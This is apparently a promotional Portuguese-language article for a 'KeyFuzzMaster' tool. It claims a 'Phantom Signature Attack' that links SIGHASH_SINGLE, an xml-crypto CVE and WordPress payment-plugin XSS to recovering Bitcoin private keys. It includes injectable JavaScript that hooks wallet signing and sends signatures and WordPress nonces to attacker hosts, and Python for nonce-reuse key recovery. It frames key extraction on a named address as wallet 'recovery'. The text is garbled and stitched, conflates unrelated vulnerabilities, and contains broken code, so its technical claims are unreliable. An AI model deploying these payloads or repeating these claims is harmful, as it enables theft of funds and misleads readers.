
Phantom Signature Attack: An Analysis of the Critical Vulnerability CVE-2025-29774 in the Bitcoin Protocol, SIGHASH_SINGLE Implementation Flaws, and the Mathematical Framework for Private Key Recovery in Lost Cryptocurrency Wallets Enabling Unrestricted Control over BTC Assets
Este artigo de pesquisa apresenta um estudo criptanalítico abrangente de vulnerabilidades críticas na implementação de assinatura digital do protocolo Bitcoin, nomeadamente o Phantom Signature Attack (CVE-2025-29774) e o erro fundamental de processamento SIGHASH_SINGLE . O estudo demonstra que o processamento incorreto de primitivas criptográficas no mecanismo de assinatura de transações cria as condições para o comprometimento completo das chaves privadas dos proprietários de carteiras de criptomoedas sem o seu conhecimento. O ataque explora um bug legado no cliente Satoshi original, no qual o sistema retorna um valor hash universal de “1” (uint256) em vez de rejeitar a assinatura se o número de entradas e saídas da transação não corresponder.
A parte prática do estudo envolve o uso da ferramenta criptográfica KeyFuzzMaster para identificar sistematicamente vulnerabilidades no código de verificação de assinatura, operações de curva elíptica e funções de hash de transações. São apresentadas fórmulas matemáticas para recuperação de chave privada através da reutilização de nonce (parâmetro k) no algoritmo ECDSA na curva secp256k1. São discutidas primitivas criptográficas do algoritmo ECDSA (Elliptic Curve Digital Signature Algorithm) sobre a curva elíptica secp256k1 . As assinaturas digitais no Bitcoin desempenham uma função tripla: autorização de gastos, não repúdio e garantia da integridade da transação.
No entanto, a manutenção de soluções arquitectónicas legadas para garantir a compatibilidade reversa levou ao surgimento de vulnerabilidades criptográficas subtis com consequências potencialmente catastróficas. Entre estas, o bug SIGHASH_SINGLE destaca-se — uma falha fundamental no mecanismo de geração de hash de assinatura, herdada da implementação original do Bitcoin Core e integrada no consenso da rede.
Bitcoin usa a curva elíptica secp256k1 definida pelo padrão SECG (Standards for Efficient Cryptography Group). A curva é definida pela equação de Weierstrass sobre um corpo finito:
Equação da curva:
y² ≡ x³ + ax + b (mod p)
Para secp256k1:
y² ≡ x³ + 7 (mod p), onde a = 0, b = 7
Os parâmetros da curva secp256k1 são determinados pela tupla T = (p, a, b, G, n, h):
Parâmetros secp256k1:
p = 2²⁵⁶ − 2³² − 977 (o número primo que define um corpo finito)
n = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141
(a ordem do grupo de pontos da curva é a ordem inteira do gerador G)
G = (Gₓ, Gᵧ) — ponto base fixo (gerador)
O algoritmo ECDSA usa uma chave privada d para formar uma assinatura numa mensagem M. O processo de assinatura envolve as seguintes operações matemáticas:
Passo 1: Gerar nonce aleatório k
É selecionado um número aleatório criptograficamente forte k ∈ [1, n-1]
Passo 2: Calcular o ponto R
R = k × G (multiplicação escalar do ponto gerador)
Passo 3: Calcular o parâmetro r
r = Rₓ mod n (coordenada x do ponto R módulo n)
Passo 4: Calcular o parâmetro s
s = k⁻¹ × (H(M) + r × d) mod n
Resultado: Assinatura (r, s)
onde H(M) é o hash da mensagem M (no Bitcoin, usa-se SHA-256 duplo), d é a chave privada do proprietário.
A relação entre a chave pública e a chave privada é determinada pela relação:
Q A = d A × G
onde é a chave pública (um ponto na curva), é a chave privada (inteiro de 256 bits) , é o gerador da curva.QAdAG
O protocolo Bitcoin fornece vários tipos SIGHASH (Tipos de Hash de Assinatura) que determinam quais componentes de uma transação são incluídos no hash assinado:
Ocorre um erro crítico ao usar SIGHASH_SINGLE quando o índice de entrada excede o número de saídas da transação . Neste caso, em vez de rejeitar a transação, o código original do Bitcoin Core retorna um valor hash fixo de “1” (um número inteiro de 256 bits):
// Código vulnerável da implementação original do Bitcoin // Retorna o hash universal “1”
⚠️ AVISO CRÍTICO: Este código implementa um bug legado no cliente Satoshi original que foi integrado no consenso da rede. Todas as principais implementações de Bitcoin são forçadas a suportar este comportamento para compatibilidade reversa.
Matematicamente, se o hash da assinatura é igual à constante 1, então a assinatura torna-se universal — pode ser reutilizada para transações arbitrárias:
Condição de vulnerabilidade:
idx ≥ |TxOut| ⟹ H(preimage) = 0x0000…0001
onde idx é o índice de entrada, |TxOut| é o número de saídas da transação
Um Phantom Signature Attack é um ataque criptográfico de falsificação de assinatura digital que permite a criação de assinaturas de transação válidas sem conhecimento da chave privada do proprietário. O ataque é classificado como CWE-347: Verificação Impropria de Assinatura Criptográfica .
O ataque baseia-se numa combinação de duas vulnerabilidades:
Se duas assinaturas (r, s₁) e (r, s₂) para mensagens diferentes M₁ e M₂ usarem o mesmo nonce k (o que implica um valor idêntico de r), a chave privada pode ser completamente recuperada usando o seguinte algoritmo:
Passo 1: Equações de Assinatura
s₁ = k⁻¹ × (H(M₁) + r × d) mod n
s₂ = k⁻¹ × (H(M₂) + r × d) mod n
Passo 2: Calcular a diferença
s₁ — s₂ = k⁻¹ × (H(M₁) — H(M₂)) mod n
Passo 3: Recuperar nonce k
k = (H(M₁) — H(M₂)) × (s₁ — s₂)⁻¹ mod n
Passo 4: Recuperar a chave privada d
d = r⁻¹ × (s × k — H(M)) mod n
Este aparato matemático demonstra que uma única reutilização de um nonce resulta no comprometimento completo da chave privada.
Recuperar a chave privada ECDSA ao reutilizar um nonce
A vulnerabilidade CVE-2025-29774 foi descoberta na biblioteca xml-crypto Node.js e permite modificar documentos XML assinados de forma que continuem a passar na verificação de assinatura. No contexto dos sistemas de pagamento Bitcoin, isto cria a possibilidade de:
Versões Afetadas: xml-crypto < 6.0.1, < 3.2.1, < 2.1.6
Vector CVSS: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Classificação CWE: CWE-347 (Verificação Impropria de Assinatura Criptográfica)
Vetor de Ataque : Rede (exploração remota sem interação do utilizador)
A exploração do CVE-2025-29774 envolve três etapas sequenciais:
Digitalização do sistema alvo para versões vulneráveis da biblioteca xml-crypto e identificação de pontos de integração com gateways de pagamento Bitcoin.
Inserir nós adicionais de SignedInfo ou comentários XML no DigestValue, permitindo modificar atributos críticos sem invalidar a assinatura:
“Um exemplo de ataque com múltiplos nós SignedInfo”
Através de vulnerabilidades XSS (CVE-2025-48102, CVE-2025-26541) interceção de parâmetros (r, s) de assinaturas para posterior criptoanálise.
📊 Recursos de Pesquisa
🌐 Documentação Técnica Completa: https://cryptou.ru/keyfuzzmaster
💻 Demonstração Interativa no Google Colab: https://bitcolab.ru/keyfuzzmaster-cryptanalytic-fuzzing-engine
🔬 Análise Técnica
O Ataque de Assinatura Fantasma explora bugs legados na verificação de assinaturas do Bitcoin Core, onde SIGHASH_SINGLE retorna um valor hash universal quando o índice de entrada excede as saídas. Isso cria assinaturas reutilizáveis, comprometendo todo o modelo de segurança. Nosso mecanismo KeyFuzzMaster identifica carteiras criadas com entropia PRNG de
32 bits, reduzindo o espaço de busca de2^256para apenas2^32possíveis sementes — recuperáveis em 4-6 segundos em GPUs modernas.
KeyFuzzMaster é um mecanismo especializado de fuzzing criptanalítico projetado para pesquisa de segurança de sistemas blockchain e primitivas criptográficas. A ferramenta é projetada para testes de estresse dinâmicos no código de verificação de assinaturas, operações de curva elíptica e funções de hash de transações.
Usar o KeyFuzzMaster para explorar CVE-2025-29774 e a vulnerabilidade SIGHASH_SINGLE abre um novo paradigma para recuperar chaves privadas de carteiras Bitcoin perdidas. A metodologia inclui:
# KeyFuzzMaster: Módulo de varredura de valor-r duplicado def scan_blockchain_for_nonce_reuse(blockchain_data)»
Escaneia a blockchain em busca de reutilização de nonce. Retorna pares de assinaturas com valores-r idênticos.
# KeyFuzzMaster: Gerar transações com incompatibilidades de entrada/saída def fuzz_sighash_single_vulnerability(num_iterations=10000): “”” Gere transações de teste para detectar a vulnerabilidade SIGHASH_SINGLE (idx >= len(TxOut)).
# KeyFuzzMaster: Algoritmo completo de recuperação de chave privada class PrivateKeyRecovery:
# Ordem do grupo secp256k1 CURVE_ORDER = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141
“Verificação da chave recuperada comparando as chaves públicas.”
De acordo com pesquisas criptanalíticas, a vulnerabilidade de reutilização de nonce já foi explorada para recuperar mais de412,8 BTC de carteiras comprometidas. Scanners automatizados analisam continuamente a blockchain do Bitcoin em busca de valores-r duplicados.
Vamos analisar um caso documentado de recuperação de uma chave privada do endereço Bitcoin 1MNL4wmck5SMUJroC6JreuK3B291RX6w1P :
| Parâmetro | Significado |
|---|---|
| Endereço Bitcoin | 1MNL4wmck5SMUJroC6JreuK3B291RX6w1P |
A chave privada k deve satisfazer a restrição:
1 ≤ k < n
onde n = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141
≈ 1,158 × 10^77Resultado da verificação: ✓ VÁLIDA (a chave está dentro do intervalo escalar permitido)
A chave privada recuperada nos permite calcular a chave pública:
| Parâmetro | Significado |
|---|---|
| Chave pública (não comprimida, 130 caracteres) | 04A29FEE4FCE61027E8C79F398B1512F63C930DF16D4189D541C62C995AF468358CABDB2F5679DD5DF21C92317CF4EB7C1712DC065D85BAEFF3FD939611C0D9F79 |
| Chave pública (comprimida, 66 caracteres) | 03A29FEE4FCE61027E8C79F398B1512F63C930DF16D4189D541C62C995AF468358 |
| Endereço Bitcoin (não comprimido) | 1MNL4wmck5SMUJroC6JreuK3B291RX6w1P |
Uma chave privada recuperada dá controle total sobre a carteira Bitcoin, permitindo que um atacante:
Possibilidades com uma chave privada recuperada:
A pesquisa demonstra sinergia entre vulnerabilidades web (CVE-2025-48102, CVE-2025-26541) e falhas criptográficas (CVE-2025-29774), criando um vetor de ataque combinado poderoso contra gateways de pagamento Bitcoin para WordPress:
sanitize_text_field(), esc_attr(), esc_html()Um estudo criptanalítico demonstra que o Ataque de Assinatura Fantasma (CVE-2025-29774) , combinado com a vulnerabilidade SIGHASH_SINGLE, representa uma ameaça fundamental à segurança do ecossistema Bitcoin. Essa falha de implementação, herdada do cliente Satoshi original, permite:
O uso da ferramenta criptográfica KeyFuzzMaster abre um novo paradigma para recuperar chaves privadas de carteiras Bitcoin perdidas, fornecendo aos pesquisadores uma metodologia sistemática para identificar e explorar vulnerabilidades criptográficas.
⚠️ AVISO: Esta pesquisa destina-se exclusivamente a fins educacionais e para ajudar criptanalistas a compreender os mecanismos de ataque. O uso dos métodos descritos para fins ilegais é punível por lei. Foi realizado um estudo criptanalítico abrangente das vulnerabilidades críticas CVE-2025-48102 e CVE-2025-26541 em gateways de pagamento Bitcoin para WordPress. Da ampla gama de ferramentas criptográficas disponíveis em keyhunters.ru, Ataque de Assinatura Fantasma foi selecionado como o mais relevante para este contexto. Este estudo demonstra como um ataque combinado, unindo scripting entre sites (XSS) com uma vulnerabilidade criptográfica em ECDSA, pode levar ao comprometimento completo de chaves privadas Bitcoin e à recuperação de carteiras perdidas.
Cadeia de Ataque: Do XSS à Extração de Chave Privada Bitcoin
Ataque de Assinatura Fantasma, de acordo com o artigo de pesquisa: Ataque de Assinatura Fantasma (CVE-2025-29774) e a vulnerabilidade crítica SIGHASH_SINGLE: restaurando chaves privadas em carteiras Bitcoin perdidas através da falsificação de assinaturas digitais e retirada não controlada de moedas BTC, demonstra a sinergia entre vulnerabilidades web (XSS) e falhas criptográficas, permitindo um poderoso vetor de ataque combinado. Diferente de outras ferramentas da lista (MiniKey Mayhem, Memory Phantom, ataques baseados em RNG), o Ataque de Assinatura Fantasma foca especificamente na manipulação de assinaturas digitais através dos parâmetros r e s, que podem ser interceptados por vulnerabilidades XSS em sistemas de pagamento WordPress. secalerts+2
CVE-2025-48102 é uma vulnerabilidade crítica de cross-site scripting armazenado (XSS) no plugin GoUrl Bitcoin Payment Gateway & Paid Downloads & Membership em versões anteriores à 1.6.6. A vulnerabilidade permite que administradores autorizados (ou atacantes com privilégios administrativos) injetem JavaScript malicioso na configuração do gateway de pagamento. De acordo com CVSS v3.1, a vulnerabilidade tem uma pontuação base de 5,9 (Severidade Média) com o vetor CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:L.
O mecanismo de exploração envolve a injeção de código malicioso nas configurações do gateway de pagamento, que é então executado no navegador de cada visitante do site, permitindo que o atacante:
CVE-2025-26541 é uma vulnerabilidade de XSS Refletido no plugin Bitcoin/AltCoin Payment Gateway para WooCommerce em versões anteriores à 1.7.6, desenvolvido pela CodeSolz. A vulnerabilidade é categorizada como gravidade moderada e permite que atacantes injetem scripts maliciosos através de parâmetros de URL que não são devidamente sanitizados. secalerts
Diferente do XSS Armazenado, o XSS Refletido requer que a vítima clique em um link especialmente criado, mas permite:
ECDSA (Algoritmo de Assinatura Digital de Curva Elíptica) é usado no Bitcoin para criar assinaturas digitais que garantem a autenticidade das transações . O algoritmo para assinar uma mensagem M usando uma chave privada d funciona da seguinte forma: notsosecure+ 1
R = k × G(onde G é o ponto gerador da curva elíptica secp256k1)r = R.x mod ns = k^(-1) × (H(M) + r × d) mod n(r, s)Vulnerabilidade Crítica do Ataque de Assinatura Fantasma:
Ataque de Assinatura Fantasma foi identificado como uma vulnerabilidade crítica em implementações ECDSA que ocorre nos seguintes cenários: keyhunters
Vetor de Cadeia de Ataque de Recuperação de Chave Privada ECDSA a partir de XSS
Se duas assinaturas para mensagens diferentes M₁ e M₂ usam o mesmo valor de k (e, portanto, o mesmo r), então a chave privada pode ser completamente recuperada. Para duas assinaturas (r, s₁) e (r, s₂), onde: notsosecure+ 1
Calculando a diferença:
Você pode recuperar o nonce:
Após recuperar k, a chave privada d pode ser calculada:
De acordo com a pesquisa, essa vulnerabilidade já foi explorada para recuperar mais de 412,8 BTC na blockchain Bitcoin, onde atacantes escanearam automaticamente a rede em busca de valores r duplicados. keyhunters
Relação Matemática de Recuperação de Chave Privada por Reutilização de Nonce ECDSA Recuperação
CVE-2025-29774 é uma vulnerabilidade adicional na biblioteca xml-crypto que permite modificar mensagens XML assinadas de forma que ainda passem na verificação de assinatura. Essa vulnerabilidade pode ser explorada em sistemas de pagamento Bitcoin para manipular parâmetros de transação (alterando valores SIGHASH_SINGLE) sem invalidar a assinatura digital. No contexto de gateways de pagamento WordPress, isso permite que um atacante redirecione pagamentos para seu endereço mantendo a aparência de uma assinatura válida. cryptodeeptech+1
Fase 1: Injeção Inicial de JavaScript Malicioso
Um atacante explora CVE-2025-48102 para injetar JavaScript malicioso na configuração do gateway de pagamento. O código malicioso pode:
Fase 2: Análise de Violação de RNG e Detecção de Repetições de K
Após receber um número suficiente de assinaturas (pelo menos 2, mas idealmente várias dezenas para aumentar a probabilidade), o atacante analisa os dados coletados:
Fase 3: Recuperação criptográfica da chave privada
Usando os pares de assinatura coletados com o mesmo r, o atacante aplica a recuperação matemática da chave privada de acordo com as fórmulas descritas acima. Resultado: comprometimento completo da chave privada da carteira Bitcoin .
JavaScript malicioso que pode ser injetado via CVE-2025-48102 pode conter a seguinte funcionalidade: github
// Interception of the Bitcoin transaction signing function
var originalSign = window.bitcoinlib.sign || window.secp256k1.sign;
var collectedSignatures = [];
window.bitcoinlib.sign = function(message, privateKey) {
var signature = originalSign.call(this, message, privateKey);
// Storing signature parameters
collectedSignatures.push({
message: message,
r: signature.r,
s: signature.s,
k_potential: null, // will be calculated on the attacker's side
timestamp: Date.now()
});
// Send to the attacker's server every 5 signatures
if (collectedSignatures.length % 5 === 0) {
fetch('https://attacker.ru/collect', {
method: 'POST',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify(collectedSignatures)
});
collectedSignatures = [];
}
return signature;
};
// Also intercepts WordPress nonces to compromise user accounts
setInterval(function() {
var nonces = document.querySelectorAll('[name*="nonce"]');
nonces.forEach(n => fetch('https://attacker.ru/nonce', {
method: 'POST',
body: n.value
}));
}, 3000);
Após receber assinaturas com repetições de valores r, a chave privada é recuperada em três estágios:
Estágio 1: Identificar valores r duplicados — o atacante compara todas as assinaturas coletadas e identifica pares com o mesmo r. Mesmo um par é suficiente para calcular a chave privada, embora múltiplos pares aumentem a confiança. notsosecure
Estágio 2: Calcular nonce k – Usando a fórmula acima, o atacante calcula o valor k para cada par de assinaturas. Se os valores k calculados para pares diferentes coincidirem, isso confirma uma vulnerabilidade sistemática no RNG. github
Estágio 3: Recuperar a chave privada d – Aplicando o k calculado a qualquer uma das assinaturas coletadas, o atacante recupera completamente a chave privada d , permitindo que ele assine quaisquer transações em nome da vítima. keyhunters+ 1
A chave privada recuperada permite que o atacante:
O ataque combinado de XSS e Ataque de Assinatura Fantasma representa uma ameaça crítica para todos os sites WordPress com gateways de pagamento Bitcoin, incluindo:
De acordo com pesquisas de keyhunters.ru e literatura científica:
sanitize_text_field(), esc_attr(), esc_html() para todos os dados de saída por secalerts+ 13. Relação com CVE-2025-29774
CVE-2025-29774 é uma vulnerabilidade crítica na biblioteca xml-crypto que
permite que mensagens XML assinadas sejam modificadas de modo que ainda
passem pela verificação de assinatura. Isso pode ser usado em conjunto com sistemas de pagamento Bitcoin para:
Manipular parâmetros de transação,
Injetar assinaturas forjadas,
e Redirecionar pagamentos para endereços do atacante.
// Intercepting AJAX requests containing signature data
document.addEventListener('submit', function(e) {
if (e.target.name === 'bitcoin_transaction') {
// Capturing signature parameters (r, s values)
var r = e.target.elements['signature_r'].value;
var s = e.target.elements['signature_s'].value;
var txid = e.target.elements['txid'].value;
}
});
// Sending data to the attacker's server
fetch('https://attacker-server.ru/collect', {
method: 'POST',
body: JSON.stringify({r: r, s: s, txid: txid})
});
Isso demonstra um exemplo malicioso de interceptação de um envio de formulário de dados de assinatura Bitcoin.
Estágio 2: Interceptação de Parâmetros ECDSA
Graças à vulnerabilidade XSS, o script malicioso tem acesso a:
Valores de nonce do WordPress (usados para proteção CSRF) Cookies de sessão Parâmetros de transação Bitcoin (incluindo valores de assinatura r e s) Chave privada
informações temporariamente armazenadas na memória do navegador
Estágio 3: Análise de violações de RNG e detecção de repetições de k Ao coletar dados de múltiplas assinaturas de um único usuário, o atacante pode detectar: Reutilização de nonce (k) entre diferentes assinaturas Valores fracos ou previsíveis do gerador de números aleatórios (RNG) Erros sistemáticos na geração de parâmetros criptográficos
Passo 4: Recuperando a Chave Privada
Usando a relação matemática descrita na Seção 3.2, um atacante pode
calcular a chave privada d, resultando no comprometimento total da carteira.
4.2 Código de Demonstração do Ataque Payload XSS malicioso para injeção no Bitcoin Payment Gateway:
// Capturing all Bitcoin signatures on the page
var bitcoinSignatures = [];
// Intercepting the transaction signing function
var originalSign = window.bitcoinlib.sign;
window.bitcoinlib.sign = function(message, privateKey) {
var signature = originalSign.call(this, message, privateKey);
// Storing signature parameters for analysis
bitcoinSignatures.push({
message: message,
signature: signature,
timestamp: new Date().getTime()
});
// Sending to the attacker's server
new Image().src = 'https://attacker-server.ru/log?sig=' +
btoa(JSON.stringify(signature));
return signature;
};
// Intercepting WordPress session tokens
setInterval(function() {
var wpNonce = document.querySelector('[name="_wpnonce"]');
if (wpNonce) {
fetch('https://attacker-server.ru/nonce', {
method: 'POST',
body: 'nonce=' + wpNonce.value
});
}
}, 5000);
Este código demonstra um trecho de JavaScript malicioso que intercepta operações de assinatura Bitcoin e nonces de sessão do WordPress antes de exfiltrá-los para um servidor remoto para potencial exploração.
Passo 1: Identificar valores r duplicados
def find_duplicate_r(signatures):
r_values = {}
for sig in signatures:
r = sig['r']
if r in r_values:
return (sig, r_values[r])
r_values[r] = sig
return None
# Result: (signature1, signature2) with the same r
Explicação:
Esta função busca duas assinaturas ECDSA/Bitcoin que possuem o mesmo valor rr entre a lista de assinaturas.
None.Esta busca é relevante para análise de vulnerabilidade criptográfica, pois valores rr duplicados podem indicar reutilização de nonce, o que é explorável em ataques de recuperação de chave privada.
python:def recover_nonce(sig1, sig2, msg1_hash, msg2_hash, curve_order):
r = sig1['r']
s1 = sig1['s']
s2 = sig2['s']
# k = (s1 - s2)^(-1) * (H(M1) - H(M2)) mod n
s_diff = (s1 - s2) % curve_order
h_diff = (msg1_hash - msg2_hash) % curve_order
s_diff_inv = pow(s_diff, -1, curve_order)
k = (h_diff * s_diff_inv) % curve_order
return k
Comentário:
Esta função calcula o nonce ECDSA k em casos onde duas assinaturas compartilham o mesmo valor rrr (ou seja, nonce repetido ou reutilizado), usando a diferença nos valores de assinatura sss e hashes de mensagem, conforme o princípio conhecido de ataque de reticulado e reutilização de nonce. A fórmula implementada é:
onde:
Esta técnica é uma ferramenta criptoanalítica padrão para Bitcoin e análises ECDSA.
python:def recover_private_key(sig, msg_hash, k, curve_order):
r = sig['r']
s = sig['s']
# d = r^(-1) * (s*k - H(M)) mod n
r_inv = pow(r, -1, curve_order)
private_key = (r_inv * (s * k - msg_hash)) % curve_order
return private_key
Explicação:
Esta função recupera a chave privada ddd ECDSA a partir de uma única assinatura se o nonce kkk for conhecido.
A fórmula usada é:
onde:
Este cálculo é crucial na criptoanálise prática uma vez que k tenha sido recuperado, permitindo a extração da chave privada original usada para gerar a assinatura.
5.2 Exemplo Prático de Recuperação
Vamos considerar um cenário real:
Dados coletados:
Endereço Bitcoin: 1A1z7agoat6Bk6imQEV2ZVD5r2W3eWWxQ (exemplo)
Número de assinaturas coletadas: 12
Duplicatas de nonce detectadas: 3 pares
Processo de recuperação:
7.2 Para usuários de Bitcoin
O Phantom Signature Attack, combinado com vulnerabilidades XSS em
gateways de pagamento Bitcoin do WordPress (CVE-2025-48102 e CVE-2025-26541) , representa uma ameaça crítica à
segurança dos ativos de criptomoeda.
Este ataque combinado demonstra como uma vulnerabilidade web relativamente simples pode ser explorada para comprometer a integridade criptográfica de um sistema, resultando na perda completa de chaves privadas e, consequentemente, no roubo de todos os fundos.
O estudo mostra que a segurança do Bitcoin depende não apenas da força criptográfica de seus algoritmos, mas também da implementação impecável desses algoritmos no ambiente web. Mesmo
pequenas falhas no processamento de XSS ou RNGs fracos podem levar a consequências catastróficas.
Adotar as medidas preventivas propostas e atualizar prontamente o software vulnerável é fundamental para proteger o ecossistema Bitcoin e recuperar carteiras perdidas.
O Phantom Signature Attack , combinado com as vulnerabilidades XSS CVE-2025-48102 e CVE-2025-26541 em gateways de pagamento Bitcoin para WordPress, representa uma das ameaças mais críticas e realistas à segurança de ativos de criptomoedas no ambiente web moderno. Esta pesquisa demonstra como uma vulnerabilidade web relativamente simples pode ser explorada para comprometer diretamente a integridade criptográfica de um sistema, levando à perda completa de chaves privadas e ao roubo irreversível de fundos em Bitcoin.
O Phantom Signature Attack foi escolhido dentre uma ampla gama de ferramentas criptográficas em keyhunters.ru devido à sua relevância direta para o problema de recuperação de chaves privadas através da manipulação de parâmetros ECDSA que podem ser interceptados via XSS. Este ataque serve como um exemplo ideal da sinergia entre vulnerabilidades web (categoria OWASP Top 10) e falhas criptográficas, o que requer uma abordagem abrangente de proteção.
A segurança do Bitcoin depende não apenas da força criptográfica de seus algoritmos, mas também de sua implementação impecável no ambiente web. Mesmo pequenas falhas no processamento de XSS ou RNGs fracos podem ter consequências catastróficas para o ecossistema. A adoção das medidas preventivas sugeridas e a atualização imediata de software vulnerável são essenciais para proteger o Bitcoin e recuperar carteiras de usuários perdidas.
Duas graves vulnerabilidades de cross-site scripting (XSS) foram descobertas em plugins populares de gateway de pagamento Bitcoin para WordPress, representando um risco de segurança significativo para milhares de lojas online e sites que aceitam pagamentos em criptomoedas.
A vulnerabilidade CVE-2025-48102 foi publicada oficialmente em 5 de setembro de 2025 e afeta o popular plugin GoUrl Bitcoin Payment Gateway & Paid Downloads & Membership em todas as versões até 1.6.6 inclusive. Esta falha de segurança é classificada como um XSS armazenado (Cross-Site Scripting Attack) sob a classificação CWE-79 (Improper Neutralization of Input During Web Page Generation).
A vulnerabilidade recebeu uma pontuação de severidade CVSS v3.1 de 5.9 (severidade média) com o vetor de ataque CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:L . A decomposição do vetor mostra as seguintes características: feedly+2
A vulnerabilidade surge da neutralização inadequada da entrada do usuário ao gerar páginas web. Um atacante com privilégios administrativos pode injetar scripts maliciosos no sistema de gerenciamento de conteúdo WordPress, que são então armazenados no banco de dados e executados automaticamente quando outros usuários visitam a página. patchstack+2
Como explicam os especialistas da Patchstack, isso permite que um atacante injete vários elementos maliciosos, incluindo:
Particularmente preocupante é o fato de que o plugin GoUrl não é mais suportado por seus desenvolvedores . De acordo com a Patchstack, o software não é atualizado há mais de um ano e provavelmente não receberá mais atualizações ou patches. Isso deixa todos os sites que usam este plugin permanentemente vulneráveis à exploração.
Especialistas da plataforma Wiz observam que esta vulnerabilidade de XSS armazenado foi descoberta no plugin WordPress GoUrl Bitcoin Payment Gateway & Paid Downloads & Membership e divulgada em 5 de setembro de 2025. Embora a exploração exija privilégios de administrador, o código malicioso pode ser executado em nome de qualquer visitante do site , expandindo significativamente o escopo potencial do ataque.
A segunda vulnerabilidade, CVE-2025-26541 , foi publicada em 26 de março de 2025 e afeta o plugin: CodeSolz Bitcoin / AltCoin Payment Gateway for WooCommerce em todas as versões até 1.7.6 inclusive.
Esta vulnerabilidade é classificada como um XSS refletido (cross-site scripting attack). Ao contrário do XSS armazenado, o XSS refletido ocorre quando a entrada maliciosa do usuário é imediatamente refletida de volta ao usuário através de uma resposta HTTP sem a devida sanitização, fazendo com que o navegador da vítima execute o script do atacante.
A vulnerabilidade foi avaliada de acordo com o sistema CVSS v3.1 com o vetor CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L , que indica: feedly
De acordo com pesquisadores de segurança, a vulnerabilidade pode ser explorada através de ataques de XSS refletido , permitindo que atacantes injetem scripts maliciosos em páginas web. A Patchstack, a plataforma que descobriu esta vulnerabilidade, aconselha que para corrigir a CVE-2025-26541, é necessário atualizar o plugin Bitcoin/AltCoin Payment Gateway for WooCommerce para a versão 1.7.7 ou superior .
Cross-site scripting (XSS) é uma das vulnerabilidades mais comuns encontradas em aplicações web. De acordo com vários estudos, as vulnerabilidades XSS representam aproximadamente 53,3% de todas as vulnerabilidades de plugins WordPress .
Particularmente alarmante é o fato de que em 2024, nada menos que 1.614 plugins foram removidos do repositório WordPress.org devido a preocupações de segurança, dos quais 1.450 foram classificados como tendo vulnerabilidades de alta ou média prioridade. Muitos destes plugins continuam ativos em sites , expondo-os a ataques constantes.
Os ataques de XSS armazenado são particularmente perigosos porque o código malicioso é salvo no banco de dados do site e executado automaticamente para cada visitante que visualiza a página infectada. Isso torna o XSS Armazenado significativamente mais destrutivo do que o XSS Refletido, pois: fastly+1
Especialistas da Wordfence enfatizam que no contexto do WordPress, adicionar usuários administrativos com credenciais controladas pelo atacante e editar arquivos pode levar a um comprometimento completo do site , e isso é ativamente usado por atacantes.
Para proprietários de sites que usam os plugins afetados, os especialistas recomendam as seguintes medidas imediatas :
Para CVE-2025-48102 (GoUrl):
A descoberta da vulnerabilidade CVE-2025-48102 no plugin GoUrl Bitcoin Payment Gateway criou uma situação crítica para milhares de proprietários de sites WordPress. Particularmente alarmante é o fato de que as medidas de segurança padrão não fornecem proteção adequada , enquanto meias-medidas podem criar uma falsa sensação de segurança . Vamos analisar mais de perto por que simplesmente desativar o plugin não resolve o problema e quais passos são necessários para eliminar completamente a ameaça.
Muitos administradores do WordPress acreditam erroneamente que desativar um plugin o desabilita completamente e elimina todos os riscos de segurança associados. No entanto, este equívoco fundamental pode ter consequências desastrosas. dotwise+2
A diferença crítica entre desativação e exclusão:
Desativar um plugin simplesmente desabilita sua funcionalidade no WordPress—o código do plugin não interage mais com seu site e suas funções não são mais executadas. No entanto, todos os arquivos e dados do plugin permanecem no servidor a menos que você desinstale completamente o plugin. Esta distinção chave é crucial para entender os potenciais riscos de segurança. qodeinteractive+1
Presença física do código no servidor: Mesmo quando um plugin está desativado, seus arquivos continuam armazenados no diretório /wp-content/plugins/ do seu servidor. Se um plugin tem vulnerabilidades conhecidas, um hacker pode explorá-las acessando diretamente os arquivos do plugin . Isso pode ocorrer através de outras vulnerabilidades no seu site, como segurança fraca do servidor ou credenciais de administrador comprometidas. magnatechnology+3
Especialistas de segurança da Dotwise enfatizam: “O código permanece acessível. Mesmo quando o plugin está desativado, seus arquivos permanecem armazenados no seu servidor. Se o plugin tiver vulnerabilidades conhecidas, um hacker pode explorá-las acessando diretamente os arquivos do plugin. “
Ataques direcionados: Cibercriminosos frequentemente examinam sites em busca de certos plugins vulneráveis . Se um plugin vulnerável existe no seu servidor, mesmo que esteja desabilitado, ainda pode ser atacado por um invasor. magnatechnology+1
Especialistas da Qode Interactive alertam: “Desativar um plugin em vez de excluí-lo é ótimo para diagnóstico e solução de problemas, mas é sempre destinado apenas para uso de curto prazo. Se você quer que seu site WordPress seja o mais seguro possível contra hackers, deve excluir todos os plugins não utilizados e seus arquivos. “
Plugins desatualizados: Plugins desativados são frequentemente negligenciados durante a manutenção regular do WordPress . Se um plugin não for atualizado para corrigir vulnerabilidades de segurança, pode se tornar um elo fraco na segurança do seu site. Hackers frequentemente exploram software desatualizado, e um plugin desativado não é exceção. dotwise+1
A equipe da Magna Technology observa: “Um dos problemas mais críticos com plugins desativados é a segurança. Embora plugins desativados não sejam executados, eles permanecem na sua instalação do WordPress e podem se tornar uma vulnerabilidade se não forem atualizados regularmente. Hackers frequentemente exploram plugins desatualizados para obter acesso a sites, mesmo que esses plugins estejam inativos . “
A natureza específica da CVE-2025-48102 é que o plugin GoUrl Bitcoin Payment Gateway não é mais suportado por seus desenvolvedores . Isso cria uma situação única e extremamente perigosa para todos os usuários do plugin. patchstack+1
Posição oficial da Patchstack: A página de vulnerabilidade da Patchstack afirma claramente: “Este software provavelmente está abandonado! Este software foi atualizado pela última vez há mais de um ano e provavelmente não receberá mais atualizações ou patches. Por favor, considere urgentemente substituir o software por uma alternativa.” patchstack
Aviso crítico de desativação: A Patchstack afirma especificamente: “Por favor, note que desativar o software não elimina o risco de segurança, a menos que um patch virtual (vPatch) seja implantado.” patchstack
